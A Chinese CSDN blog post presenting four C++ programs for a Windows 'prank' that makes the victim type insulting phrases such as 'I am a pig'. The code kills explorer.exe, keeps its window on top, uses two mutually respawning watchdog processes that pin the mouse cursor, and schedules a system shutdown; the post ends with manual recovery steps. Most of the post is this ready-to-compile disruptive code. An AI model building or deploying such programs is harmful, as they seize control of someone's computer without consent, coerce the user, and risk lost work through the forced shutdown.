c++整人代码,超级加倍,让人承认我是大傻猪

今天看到一个博客,让人承认我是猪,觉得很有意思,也写了一个同样让人承认我是猪的,由4个代码(展示cpp文件,编译后变成exe才可以使用)组成,注意,由于本程序需要互相调用,所以必须放在同一目录下,且不要轻易修改名称:

第一段,整人主程序,作用:让人承认我是大傻猪,名称 整人代码.cpp 

下面是代码:

#include<bits/stdc++.h>
#include<windows.h>	
#include <tlhelp32.h>
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{
    char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
    strcpy(pName,procressName);                            //拷贝数组
    CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
    PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
    currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return false;
    }
 
    bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
    while(bMore)
    {
        CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
        if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程
        {
            CloseHandle(hProcess);                                //清除hProcess句柄
            return true;
        }
        bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
    }
 
    CloseHandle(hProcess);    //清除hProcess句柄
    return false;
}
void po()
{
	if(getProcess("整人代码-防护.exe") == 0){
		system("start 整人代码-防护.exe");
	} 
	if(getProcess("整人代码-防护2.exe") == 0){
		system("start 整人代码-防护2.exe");
	} 
	HWND hWnd = ::GetForegroundWindow();
	::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
} 
using namespace std;
int main()
{
	po();
	system("taskkill /f /t /im explorer.exe");
	string in;
	po();
	HWND hWnd = ::GetForegroundWindow();
	::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	cout<<"哈哈哈,我把你桌面拆了。如果你关闭我,那么就请准备重启吧(话说你也关不掉,鼠标你就别想动了)。";
	cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:"; 
	cin>>in;
	po();
	if(in == "我是猪"){
		cout<<"这是一个事实,哈哈哈\n";
		po();
		Sleep(5000);
		po();
		cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";
		cin>>in;
		if(in == "我是大傻子"){
			po();
			cout<<"真乖,哈哈哈哈哈哈\n";
			Sleep(1000);
			po();
			cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";
			system("start explorer.exe");
			system("start 整人代码-kill.exe");
			return 0;
		}
	}
	po();
	cout<<"很勇啊你,让我帮你关机吧!\n";
	system("shutdown -s -t 120");
	cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";
	po();
	cin>>in;
	if(in == "我是大傻猪"){
		cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。\n";
		po();
		system("shutdown -a");
		Sleep(3000);
		po();
		cout<<"啥?\n";
		Sleep(3000);
		po();
		cout<<"我忘了什么东西?\n";
		Sleep(3000);
		po();
		cout<<"恢复啥?\n";
		Sleep(3000);
		po();
		cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";
		cin>>in;
		po();
		if(in == "我是世上独一无二绝无仅有的超级大傻猪"){
			cout<<"真乖,看我咻---";
			system("start explorer.exe");
			system("start 整人代码-kill.exe");
			return 0;
		}
	}
	cout<<"唉,人啊,看你这么不认真不说实话,那我走了";
	system("start 整人代码-kill.exe");
	return 0;
}

第二段,防护程序,作用:防止主程序和第二个和它相对应的防护程序被关,名称 整人代码-防护.cpp 

下面是代码:

#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{
    char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
    strcpy(pName,procressName);                            //拷贝数组
    CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
    PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
    currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return false;
    }
 
    bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
    while(bMore)
    {
        CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
        if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程
        {
            CloseHandle(hProcess);                                //清除hProcess句柄
            return true;
        }
        bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
    }
 
    CloseHandle(hProcess);    //清除hProcess句柄
    return false;
}
int main()
{
	ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
	while(1){
		if(getProcess("整人代码.exe") == 0){
			system("start 整人代码.exe");
		}
		if(getProcess("整人代码-防护2.exe") == 0){
			system("start 整人代码-防护2.exe");
		}
		if(getProcess("整人代码-kill.exe") == 1){
			break;
		}		
		HWND hWnd = ::GetForegroundWindow();
		::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
		SetCursorPos(0,0);
	}
	return 0;
}

第三段,防护程序2,作用:和第一个防护程序相呼应,他被关则我打开他,我被关则他打开我,名称 整人代码-防护2.cpp 

下面是代码:

#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{
    char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
    strcpy(pName,procressName);                            //拷贝数组
    CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
    PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
    currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return false;
    }
 
    bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
    while(bMore)
    {
        CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
        if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程
        {
            CloseHandle(hProcess);                                //清除hProcess句柄
            return true;
        }
        bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
    }
 
    CloseHandle(hProcess);    //清除hProcess句柄
    return false;
}
int main()
{
	ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
	while(1){
		if(getProcess("整人代码-防护.exe") == 0){
			system("start 整人代码-防护.exe");
		}
		if(getProcess("整人代码-kill.exe") == 1){
			break;
		}
		HWND hWnd = ::GetForegroundWindow();
		::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
		SetCursorPos(0,0);
	}
	return 0;
}

第四段,关闭整人代码和其防护,作用:关闭防护程序和主程序,名称 整人代码-kill.cpp 

下面是代码:

#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{
    char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
    strcpy(pName,procressName);                            //拷贝数组
    CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
    PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
    currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return false;
    }
 
    bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
    while(bMore)
    {
        CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
        if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程
        {
            CloseHandle(hProcess);                                //清除hProcess句柄
            return true;
        }
        bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
    }
 
    CloseHandle(hProcess);    //清除hProcess句柄
    return false;
}
using namespace std;
int main()
{
	while(getProcess("整人代码.exe")){
		system("taskkill /f /t /im 整人代码.exe");
	}
	return 0;
}

作者亲测效果很好,下面是手动关闭此程序(不输入我是猪这些)的步骤:

第一步:乱输一气,因为程序到最后一定关闭,只不过会让你没有桌面(文件资源管理器被关),同时没有任务栏,并且两分钟后关机。但是程序已经关闭。好了,关闭程序的步骤就到此结束

第二步:通过Ctrl+Alt+Delete点任务管理器,打开它,点击右上角的文件,再点击运行新任务,输入explorer,就会打开文件资源管理器,进而恢复桌面和Windows键。

第三步:按Windows+R,打开运行框,输入cmd,回车,打开电脑的命令提示符,输入这一段语句:“shutdown -a”(不含引号),接着电脑的关机指令就会被取消,你的电脑也就恢复了。

作用:

第一步:关闭程序

第二步:打开文件资源管理器,恢复桌面、任务栏和Windows键

第三步:取消关机

注:本文章灵感来源于[c++整人代码]逼人承认“我是猪” 「v2.0」_蜀都客车的博客-CSDN博客_c++恶搞代码

但是本文章代码和如上文章没有任何关系,除getprocess函数来自其他CSDN大神之手,其它均为原创。

  • 9
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值